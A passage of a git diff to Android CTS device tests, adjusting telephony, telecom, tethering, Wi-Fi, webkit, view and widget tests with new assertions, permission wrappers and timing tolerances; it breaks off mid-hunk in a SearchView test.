diff --git a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
index 8c2f870..f5ddc7c 100644
--- a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
+++ b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
@@ -314,7 +314,12 @@
*/
public void showsExtraChooserTargets() {
// Should show chooser targets but must limit them, can't test limit here
- waitAndAssertTextContains(mExtraChooserTargetsLabelBase);
+ if (mActivityManager.isLowRamDevice()) {
+ // The direct share row and EXTRA_CHOOSER_TARGETS should be hidden on low-ram devices
+ waitAndAssertNoTextContains(mExtraChooserTargetsLabelBase);
+ } else {
+ waitAndAssertTextContains(mExtraChooserTargetsLabelBase);
+ }
}
/**
diff --git a/tests/tests/syncmanager/AndroidTest.xml b/tests/tests/syncmanager/AndroidTest.xml
index 5c8605d..4c53d79 100644
--- a/tests/tests/syncmanager/AndroidTest.xml
+++ b/tests/tests/syncmanager/AndroidTest.xml
@@ -24,6 +24,8 @@
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<!-- Disable keyguard -->
+ <!-- Though keyguard is disabled globally in cts-preconditions.xml, the
+ following line should be kept to make atest behave correctly. -->
<option name="run-command" value="locksettings set-disabled true" />
</target_preparer>
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index 9f2fbb8..f31dcf1 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -30,7 +30,10 @@
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.google.common.truth.Expect;
+
import org.junit.Before;
+import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -52,6 +55,8 @@
}
}
+ @Rule public final Expect mExpect = Expect.create();
+
private Context mContext;
private PackageManager mPackageManager;
@@ -68,7 +73,6 @@
private final IntentEntry[] mTestIntents = {
/* Settings-namespace intent actions */
new IntentEntry(0, new Intent(Settings.ACTION_SETTINGS)),
- new IntentEntry(0, new Intent(Settings.ACTION_WEBVIEW_SETTINGS)),
new IntentEntry(0, new Intent(Settings.ACTION_APPLICATION_DEVELOPMENT_SETTINGS)),
new IntentEntry(0, new Intent(Settings.ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS)),
new IntentEntry(0, new Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS)
@@ -115,7 +119,8 @@
if ((productFlags & e.flags) == 0) {
final ResolveInfo ri = mPackageManager.resolveActivity(e.intent,
PackageManager.MATCH_DEFAULT_ONLY);
- assertTrue("API intent " + e.intent + " not implemented by any activity", ri != null);
+ mExpect.withMessage("API intent %s not implemented by any activity", e.intent)
+ .that(ri).isNotNull();
}
}
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
index 1bd1b27..3e26776 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
@@ -95,6 +95,37 @@
verifySimulateRingAndUserPickup(call, connection);
}
+ public void testHoldAfterAudioProcessingFromCallScreening() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ setupIncomingCallWithCallScreening();
+
+ final MockConnection connection = verifyConnectionForIncomingCall();
+
+ if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+ TimeUnit.SECONDS)) {
+ fail("No call added to InCallService.");
+ }
+
+ Call call = mInCallCallbacks.getService().getLastCall();
+ assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+ assertConnectionState(connection, Connection.STATE_ACTIVE);
+
+ AudioManager audioManager = mContext.getSystemService(AudioManager.class);
+ if (doesAudioManagerSupportCallScreening) {
+ assertAudioMode(audioManager, MODE_CALL_SCREENING);
+ }
+
+ verifySimulateRingAndUserPickup(call, connection);
+
+ call.hold();
+ assertCallState(call, Call.STATE_HOLDING);
+ call.unhold();
+ assertCallState(call, Call.STATE_ACTIVE);
+ }
+
public void testAudioProcessingFromCallScreeningDisallow() throws Exception {
if (!mShouldTestTelecom) {
return;
@@ -527,8 +558,8 @@
assertCallState(call, Call.STATE_DISCONNECTED);
waitOnAllHandlers(getInstrumentation());
assertConnectionState(connection, Connection.STATE_DISCONNECTED);
- // Make sure that the dummy app never saw the call
- assertEquals(0, controlInterface.getHistoricalCallCount());
+ // Under some rare circumstances, the dummy app might get a flash of the disconnection
+ // call, so we won't do the call count check again.
tearDownControl();
} finally {
@@ -652,4 +683,4 @@
"telecom add-or-remove-call-companion-app " + CtsApi29InCallService.PACKAGE_NAME
+ " 0");
}
-}
\ No newline at end of file
+}
diff --git a/tests/tests/telephony/current/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java b/tests/tests/telephony/current/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
index 3c2c089..7f29da7 100644
--- a/tests/tests/telephony/current/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
+++ b/tests/tests/telephony/current/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
@@ -15,10 +15,15 @@
*/
package android.telephony.cts.preconditions.app;
-import android.content.Context;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertTrue;
+
import android.content.pm.PackageManager;
+import android.net.wifi.WifiManager;
import android.test.AndroidTestCase;
import android.util.Log;
+
import com.android.compatibility.common.preconditions.TelephonyHelper;
/**
@@ -27,19 +32,31 @@
public class TelephonyPreparerAppTest extends AndroidTestCase {
private static final String TAG = "TelephonyPreparerAppTest";
+
+ private boolean hasTelephony() {
+ final PackageManager pm = getContext().getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+ }
+
/**
* Test if device has a valid phone number
* @throws Exception
*/
public void testPhoneNumberPresent() throws Exception {
- PackageManager pm = this.getContext().getPackageManager();
- if (!pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
- return; // do not test for phone number on devices without telephony feature
- }
+ if (!hasTelephony()) return;
if (!TelephonyHelper.hasPhoneNumber(this.getContext())) {
Log.e(TAG, "No SIM card with phone number is found in the device, "
+ "some tests might not run properly");
}
}
-}
\ No newline at end of file
+
+ public void testEnsureWifiDisabled() throws Exception {
+ if (!hasTelephony()) return;
+
+ final WifiManager wifiManager = getContext().getSystemService(
+ android.net.wifi.WifiManager.class);
+
+ runWithShellPermissionIdentity(() -> assertTrue(wifiManager.setWifiEnabled(false)));
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index 341cba0..b9138b2 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -21,8 +21,8 @@
import static android.app.AppOpsManager.OPSTR_READ_PHONE_STATE;
import static android.telephony.CarrierConfigManager.KEY_CARRIER_NAME_OVERRIDE_BOOL;
import static android.telephony.CarrierConfigManager.KEY_CARRIER_NAME_STRING;
+import static android.telephony.CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONED_BOOL;
import static android.telephony.CarrierConfigManager.KEY_FORCE_HOME_NETWORK_BOOL;
-import static android.telephony.CarrierConfigManager.Wifi.KEY_HOTSPOT_MAX_CLIENT_COUNT;
import static android.telephony.ServiceState.STATE_IN_SERVICE;
import static androidx.test.InstrumentationRegistry.getContext;
@@ -115,7 +115,8 @@
private void checkConfig(PersistableBundle config) {
if (config == null) {
- assertFalse("Config should only be null when telephony is not running.", hasTelephony());
+ assertFalse(
+ "Config should only be null when telephony is not running.", hasTelephony());
return;
}
assertNotNull("CarrierConfigManager should not return null config", config);
@@ -305,7 +306,10 @@
mConfigManager.getConfigByComponentForSubId(
CarrierConfigManager.Wifi.KEY_PREFIX,
SubscriptionManager.getDefaultSubscriptionId());
- assertEquals(config.size(), 1);
- assertTrue(config.containsKey(KEY_HOTSPOT_MAX_CLIENT_COUNT));
+ if (config != null) {
+ assertTrue(config.containsKey(CarrierConfigManager.Wifi.KEY_HOTSPOT_MAX_CLIENT_COUNT));
+ assertFalse(config.containsKey(KEY_CARRIER_VOLTE_PROVISIONED_BOOL));
+ assertFalse(config.containsKey(CarrierConfigManager.Gps.KEY_SUPL_ES_STRING));
+ }
}
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
index a992b9b..c03877c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
@@ -82,8 +82,8 @@
private static final int MAX_RSRQ = -3;
private static final int MIN_RSRQ = -35;
// Maximum and minimum possible RSSNR values.
- private static final int MAX_RSSNR = 50;
- private static final int MIN_RSSNR = 0;
+ private static final int MAX_RSSNR = 30;
+ private static final int MIN_RSSNR = -20;
// Maximum and minimum possible CQI values.
private static final int MAX_CQI = 30;
private static final int MIN_CQI = 0;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
index 0849b64..4cbe6ad 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthTest.java
@@ -25,6 +25,9 @@
import android.content.Context;
import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.net.NetworkCapabilities;
import android.os.SystemClock;
import android.telephony.CellSignalStrength;
import android.telephony.CellSignalStrengthCdma;
@@ -78,6 +81,10 @@
if (!isCamped()) fail("Device is not camped on cellular");
+ // Detect accidental connection to Wi-Fi for data, which fails the test,
+ // due to IWLAN often being enabled.
+ assertDeviceIsOnCellDataOrNoData();
+
SignalStrength ss = mTm.getSignalStrength();
assertNotNull("TelephonyManager.getSignalStrength() returned NULL!", ss);
@@ -98,7 +105,7 @@
if (dataType != null) types.add(dataType);
Class<? extends CellSignalStrength> voiceType =
- getSignalStrengthTypeForNetworkType(mTm.getNetworkType());
+ getSignalStrengthTypeForNetworkType(mTm.getVoiceNetworkType());
// Check if camped for Voice-Only
if (dataType == null && voiceType != null) {
@@ -118,12 +125,13 @@
}
for (CellSignalStrength css : signalStrengths) {
- assertTrue("Invalid SignalStrength type detected" + css.getClass(),
- types.contains(css.getClass()));
+ assertTrue("Invalid SignalStrength type detected:" + css.getClass()
+ + " - Allowed Types: " + types, types.contains(css.getClass()));
}
- assertTrue(!ss.getCellSignalStrengths(dataType).isEmpty()
- || !ss.getCellSignalStrengths(voiceType).isEmpty());
+ assertTrue("No valid signal strengths reported for the camped/registered network types",
+ (dataType != null && !ss.getCellSignalStrengths(dataType).isEmpty())
+ || (voiceType != null && !ss.getCellSignalStrengths(voiceType).isEmpty()));
}
/** Check whether the device is LTE + NR dual connected */
@@ -132,6 +140,15 @@
return ss != null && ss.getNrState() == NR_STATE_CONNECTED;
}
+ private void assertDeviceIsOnCellDataOrNoData() {
+ ConnectivityManager cm = getContext().getSystemService(ConnectivityManager.class);
+ Network activeNetwork = cm.getActiveNetwork();
+ if (activeNetwork == null) return;
+ assertTrue("Device is connected and using non-cellular data (likely Wi-Fi)",
+ cm.getNetworkCapabilities(activeNetwork)
+ .hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR));
+ }
+
/** Get the CellSignalStrength class type that should be returned when using a network type */
private static Class<? extends CellSignalStrength>
getSignalStrengthTypeForNetworkType(int networkType) {
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index c7b14ec..92dd117 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -99,9 +99,6 @@
public static void setUpClass() throws Exception {
if (!isSupported()) return;
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .executeShellCommand("svc wifi disable");
-
final TestNetworkCallback callback = new TestNetworkCallback();
final ConnectivityManager cm = InstrumentationRegistry.getContext()
.getSystemService(ConnectivityManager.class);
@@ -122,9 +119,6 @@
@AfterClass
public static void tearDownClass() throws Exception {
if (!isSupported()) return;
-
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .executeShellCommand("svc wifi enable");
}
@Before
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 675947c..193f8fb 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -16,6 +16,8 @@
package android.telephony.cts;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assert.assertEquals;
@@ -38,7 +40,6 @@
import android.database.ContentObserver;
import android.net.ConnectivityManager;
import android.net.Uri;
-import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.os.AsyncTask;
import android.os.Build;
@@ -563,7 +564,8 @@
}
mTelephonyManager.getDefaultRespondViaMessageApplication();
- mTelephonyManager.getAndUpdateDefaultRespondViaMessageApplication();
+ ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+ TelephonyManager::getAndUpdateDefaultRespondViaMessageApplication);
}
/**
@@ -911,19 +913,16 @@
private String getWifiMacAddress() {
WifiManager wifiManager = getContext().getSystemService(WifiManager.class);
- boolean enabled = wifiManager.isWifiEnabled();
+ if (wifiManager.isWifiEnabled()) {
+ return wifiManager.getConnectionInfo().getMacAddress();
+ } else {
+ try {
+ runWithShellPermissionIdentity(() -> wifiManager.setWifiEnabled(true));
- try {
- if (!enabled) {
- wifiManager.setWifiEnabled(true);
- }
+ return wifiManager.getConnectionInfo().getMacAddress();
- WifiInfo wifiInfo = wifiManager.getConnectionInfo();
- return wifiInfo.getMacAddress();
-
- } finally {
- if (!enabled) {
- wifiManager.setWifiEnabled(false);
+ } finally {
+ runWithShellPermissionIdentity(() -> wifiManager.setWifiEnabled(false));
}
}
}
@@ -2076,10 +2075,6 @@
assertThat(value).isEqualTo(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_SUCCESS);
}
- private static void assertUpdateAvailableNetworkInvalidArguments(int value) {
- assertThat(value).isEqualTo(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_INVALID_ARGUMENTS);
- }
-
private static void assertUpdateAvailableNetworkNoOpportunisticSub(int value) {
assertThat(value).isEqualTo(
TelephonyManager.UPDATE_AVAILABLE_NETWORKS_NO_OPPORTUNISTIC_SUB_AVAILABLE);
@@ -2169,8 +2164,6 @@
List<AvailableNetworkInfo> availableNetworkInfos = new ArrayList<AvailableNetworkInfo>();
Consumer<Integer> callbackSuccess =
TelephonyManagerTest::assertUpdateAvailableNetworkSuccess;
- Consumer<Integer> callbackFailure =
- TelephonyManagerTest::assertUpdateAvailableNetworkInvalidArguments;
Consumer<Integer> callbackNoOpSub =
TelephonyManagerTest::assertUpdateAvailableNetworkNoOpportunisticSub;
if (subscriptionInfoList == null || subscriptionInfoList.size() == 0
@@ -2188,7 +2181,7 @@
availableNetworkInfos.clear();
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
(tm) -> tm.updateAvailableNetworks(availableNetworkInfos,
- AsyncTask.SERIAL_EXECUTOR, callbackFailure));
+ AsyncTask.SERIAL_EXECUTOR, callbackNoOpSub));
} else {
AvailableNetworkInfo availableNetworkInfo = new AvailableNetworkInfo(
subscriptionInfoList.get(0).getSubscriptionId(),
@@ -2212,20 +2205,21 @@
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
return;
}
-
- boolean rebootRequired = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, (tm) -> tm.doesSwitchMultiSimConfigTriggerReboot());
-
- // It's hard to test if reboot is needed.
- if (!rebootRequired) {
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
- (tm) -> tm.switchMultiSimConfig(1));
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
- (tm) -> tm.switchMultiSimConfig(2));
- } else {
+ try {
+ mTelephonyManager.switchMultiSimConfig(mTelephonyManager.getActiveModemCount());
+ fail("TelephonyManager#switchMultiSimConfig should require the MODIFY_PHONE_STATE"
+ + " permission to access.");
+ } catch (SecurityException e) {
+ // expected
+ }
+ try {
// This should result in no-op.
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
- (tm) -> tm.switchMultiSimConfig(mTelephonyManager.getPhoneCount()));
+ ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mTelephonyManager,
+ (tm) -> tm.switchMultiSimConfig(mTelephonyManager.getActiveModemCount()),
+ SecurityException.class, "android.permission.MODIFY_PHONE_STATE");
+ } catch (SecurityException e) {
+ fail("TelephonyManager#switchMultiSimConfig should require MODIFY_PHONE_STATE"
+ + "permission to access.");
}
}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 6899e42..2c24f18 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -196,6 +196,20 @@
if (tm.getSimState(sTestSlot) != TelephonyManager.SIM_STATE_READY) {
fail("This test requires that there is a SIM in the device!");
}
+ // Sanity check: ensure that the subscription hasn't changed between tests.
+ int[] subs = SubscriptionManager.getSubId(sTestSlot);
+
+ if (subs == null) {
+ fail("This test requires there is an active subscription in slot " + sTestSlot);
+ }
+ boolean isFound = false;
+ for (int sub : subs) {
+ isFound |= (sTestSub == sub);
+ }
+ if (!isFound) {
+ fail("Invalid state found: the test subscription in slot " + sTestSlot + " changed "
+ + "during this test.");
+ }
}
@After
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
index 8c904ee..50ae5b7 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
@@ -54,22 +54,34 @@
public static int getPreferredActiveSubId() {
Context context = InstrumentationRegistry.getInstrumentation().getContext();
- int defaultSubId = SubscriptionManager.getDefaultVoiceSubscriptionId();
- if (defaultSubId != SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
- return defaultSubId;
- }
- // Couldn't resolve a default. We can try to resolve a default using the active
- // subscriptions.
SubscriptionManager sm = (SubscriptionManager) context.getSystemService(
Context.TELEPHONY_SUBSCRIPTION_SERVICE);
List<SubscriptionInfo> infos = ShellIdentityUtils.invokeMethodWithShellPermissions(sm,
SubscriptionManager::getActiveSubscriptionInfoList);
+
+ int defaultSubId = SubscriptionManager.getDefaultVoiceSubscriptionId();
+ if (defaultSubId != SubscriptionManager.INVALID_SUBSCRIPTION_ID
+ && isSubIdInInfoList(infos, defaultSubId)) {
+ return defaultSubId;
+ }
+
+ defaultSubId = SubscriptionManager.getDefaultSubscriptionId();
+ if (defaultSubId != SubscriptionManager.INVALID_SUBSCRIPTION_ID
+ && isSubIdInInfoList(infos, defaultSubId)) {
+ return defaultSubId;
+ }
+
+ // Couldn't resolve a default. We can try to resolve a default using the active
+ // subscriptions.
if (!infos.isEmpty()) {
return infos.get(0).getSubscriptionId();
}
- // The best we can do is fall back to any default set. If it fails, notify the tester
- // that there must be a default set.
- return SubscriptionManager.getDefaultSubscriptionId();
+ // There must be at least one active subscription.
+ return SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+ }
+
+ private static boolean isSubIdInInfoList(List<SubscriptionInfo> infos, int subId) {
+ return infos.stream().anyMatch(info -> info.getSubscriptionId() == subId);
}
/**
diff --git a/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java b/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
index f7160dd..5e2f627 100644
--- a/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
+++ b/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
@@ -57,8 +57,11 @@
import android.net.TetheringManager.TetheringRequest;
import android.net.cts.util.CtsNetUtils;
import android.net.cts.util.CtsNetUtils.TestNetworkCallback;
+import android.net.wifi.WifiClient;
import android.net.wifi.WifiManager;
+import android.net.wifi.WifiManager.SoftApCallback;
import android.os.Bundle;
+import android.os.ConditionVariable;
import android.os.PersistableBundle;
import android.os.ResultReceiver;
import android.telephony.CarrierConfigManager;
@@ -135,6 +138,40 @@
dropShellPermissionIdentity();
}
+ private static class StopSoftApCallback implements SoftApCallback {
+ private final ConditionVariable mWaiting = new ConditionVariable();
+ @Override
+ public void onStateChanged(int state, int failureReason) {
+ if (state == WifiManager.WIFI_AP_STATE_DISABLED) mWaiting.open();
+ }
+
+ @Override
+ public void onConnectedClientsChanged(List<WifiClient> clients) { }
+
+ public void waitForSoftApStopped() {
+ if (!mWaiting.block(DEFAULT_TIMEOUT_MS)) {
+ fail("stopSoftAp Timeout");
+ }
+ }
+ }
+
+ // Wait for softAp to be disabled. This is necessary on devices where stopping softAp
+ // deletes the interface. On these devices, tethering immediately stops when the softAp
+ // interface is removed, but softAp is not yet fully disabled. Wait for softAp to be
+ // fully disabled, because otherwise the next test might fail because it attempts to
+ // start softAp before it's fully stopped.
+ private void expectSoftApDisabled() {
+ final StopSoftApCallback callback = new StopSoftApCallback();
+ try {
+ mWm.registerSoftApCallback(c -> c.run(), callback);
+ // registerSoftApCallback will immediately call the callback with the current state, so
+ // this callback will fire even if softAp is already disabled.
+ callback.waitForSoftApStopped();
+ } finally {
+ mWm.unregisterSoftApCallback(callback);
+ }
+ }
+
private class TetherChangeReceiver extends BroadcastReceiver {
private class TetherState {
final ArrayList<String> mAvailable;
@@ -294,6 +331,7 @@
mTetherChangeReceiver.expectTethering(true /* active */, wifiRegexs);
mTM.stopTethering(TETHERING_WIFI);
+ expectSoftApDisabled();
mTetherChangeReceiver.expectTethering(false /* active */, wifiRegexs);
}
@@ -544,6 +582,7 @@
private void stopWifiTethering(final TestTetheringEventCallback callback) {
mTM.stopTethering(TETHERING_WIFI);
+ expectSoftApDisabled();
callback.expectTetheredInterfacesChanged(null);
callback.expectOneOfOffloadStatusChanged(TETHER_HARDWARE_OFFLOAD_STOPPED);
}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
index 0f2e8113..e04c879 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
@@ -38,6 +38,7 @@
import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+import com.android.compatibility.common.util.RequiredServiceRule;
import com.android.compatibility.common.util.SafeCleanerRule;
import org.junit.Rule;
@@ -69,9 +70,13 @@
ApplicationProvider.getApplicationContext().getPackageName(),
TextClassifier.WIDGET_TYPE_EDIT_WEBVIEW)
.build();
+ private final RequiredServiceRule mRequiredServiceRule =
+ new RequiredServiceRule(Context.TEXT_CLASSIFICATION_SERVICE);
+
@Rule
public final RuleChain mAllRules = RuleChain
- .outerRule(mTestWatcher)
+ .outerRule(mRequiredServiceRule)
+ .around(mTestWatcher)
.around(mSafeCleanerRule);
@Test
diff --git a/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp b/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
index ab4ce58..fbf9f9a 100644
--- a/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
+++ b/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
@@ -408,16 +408,25 @@
Callback* cb64 = new Callback("cb64");
auto start = now();
+ auto vsyncPeriod = std::chrono::duration_cast<std::chrono::milliseconds>(
+ NOMINAL_VSYNC_PERIOD)
+ .count();
auto delay = std::chrono::duration_cast<std::chrono::milliseconds>(DELAY_PERIOD).count();
AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, cb1, delay);
AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, cb64, delay);
std::this_thread::sleep_for(DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 10);
- ALooper_pollAll(16, nullptr, nullptr, nullptr);
+ // Ensure that callbacks are seen by the looper instance at approximately
+ // the same time, and provide enough time for the looper instance to process
+ // the delayed callback and the requested vsync signal if needed.
+ ALooper_pollAll(vsyncPeriod * 5, nullptr, nullptr, nullptr);
verifyRefreshRateCallback(env, cb, 1);
- verifyCallback(env, cb64, 1, start, DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 11);
+ verifyCallback(env, cb64, 1, start,
+ DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 15);
const auto delayToTestFor32Bit =
- sizeof(long) == sizeof(int64_t) ? DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 11 : ZERO;
+ sizeof(long) == sizeof(int64_t)
+ ? DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 15
+ : ZERO;
verifyCallback(env, cb1, 1, start, delayToTestFor32Bit);
AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb);
}
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
index 66b1539..7ab5143 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
@@ -19,6 +19,7 @@
import static android.opengl.GLES20.GL_COLOR_BUFFER_BIT;
import static android.opengl.GLES20.glClear;
import static android.opengl.GLES20.glClearColor;
+import static android.opengl.GLES20.glFinish;
import android.app.Activity;
import android.content.pm.ActivityInfo;
@@ -258,6 +259,7 @@
int surfaceUpdateCount = mSurfaceUpdatedCount;
runOnGLThread(() -> {
callback.drawFrame(mSurfaceWidth, mSurfaceHeight);
+ glFinish();
if (!mEgl.eglSwapBuffers(mEglDisplay, mEglSurface)) {
throw new RuntimeException("Cannot swap buffers");
}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
index 22052e1..6a1c4d6 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
@@ -770,17 +770,10 @@
Thread.sleep(1000);
assertEquals("Loaded", mOnUiThread.getTitle());
- // Test that when AppCache is enabled and a valid path is provided, we
- // get an AppCache callback of some kind.
- mSettings.setAppCachePath(getActivity().getDir("appcache", 0).getPath());
- mOnUiThread.loadUrlAndWaitForCompletion(url);
- new PollingCheck(WEBVIEW_TIMEOUT) {
- @Override
- protected boolean check() {
- return mOnUiThread.getTitle() != null
- && mOnUiThread.getTitle().endsWith("Callback");
- }
- }.run();
+ // We used to test that when AppCache is enabled and a valid path is
+ // provided, we got an AppCache callback of some kind, but AppCache is
+ // deprecated on the web and will be removed from Chromium in the
+ // future, so this test has been removed.
}
// Ideally, we need a test case for the enabled case. However, it seems that
diff --git a/tests/tests/widget/src/android/widget/cts/SearchViewTest.java b/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
index 7e8bd68..d752773 100644
--- a/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
@@ -43,6 +43,7 @@
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.CtsKeyEventUtil;
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
@@ -288,27 +289,24 @@
when(mockQueryTextListener.onQueryTextSubmit(anyString())).thenReturn(Boolean.TRUE);
mSearchView.setOnQueryTextListener(mockQueryTextListener);
- mActivityRule.runOnUiThread(() -> {
+ WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, () -> {
mSearchView.setQuery("alpha", false);
mSearchView.requestFocus();
});
mInstrumentation.waitForIdleSync();
- mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_ENTER);
- WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, null);
+ CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mSearchView, KeyEvent.KEYCODE_ENTER);
verify(mockQueryTextListener, times(1)).onQueryTextChange("alpha");
verify(mockQueryTextListener, atLeastOnce()).onQueryTextSubmit("alpha");
- mInstrumentation.waitForIdleSync();
- mActivityRule.runOnUiThread(() -> {
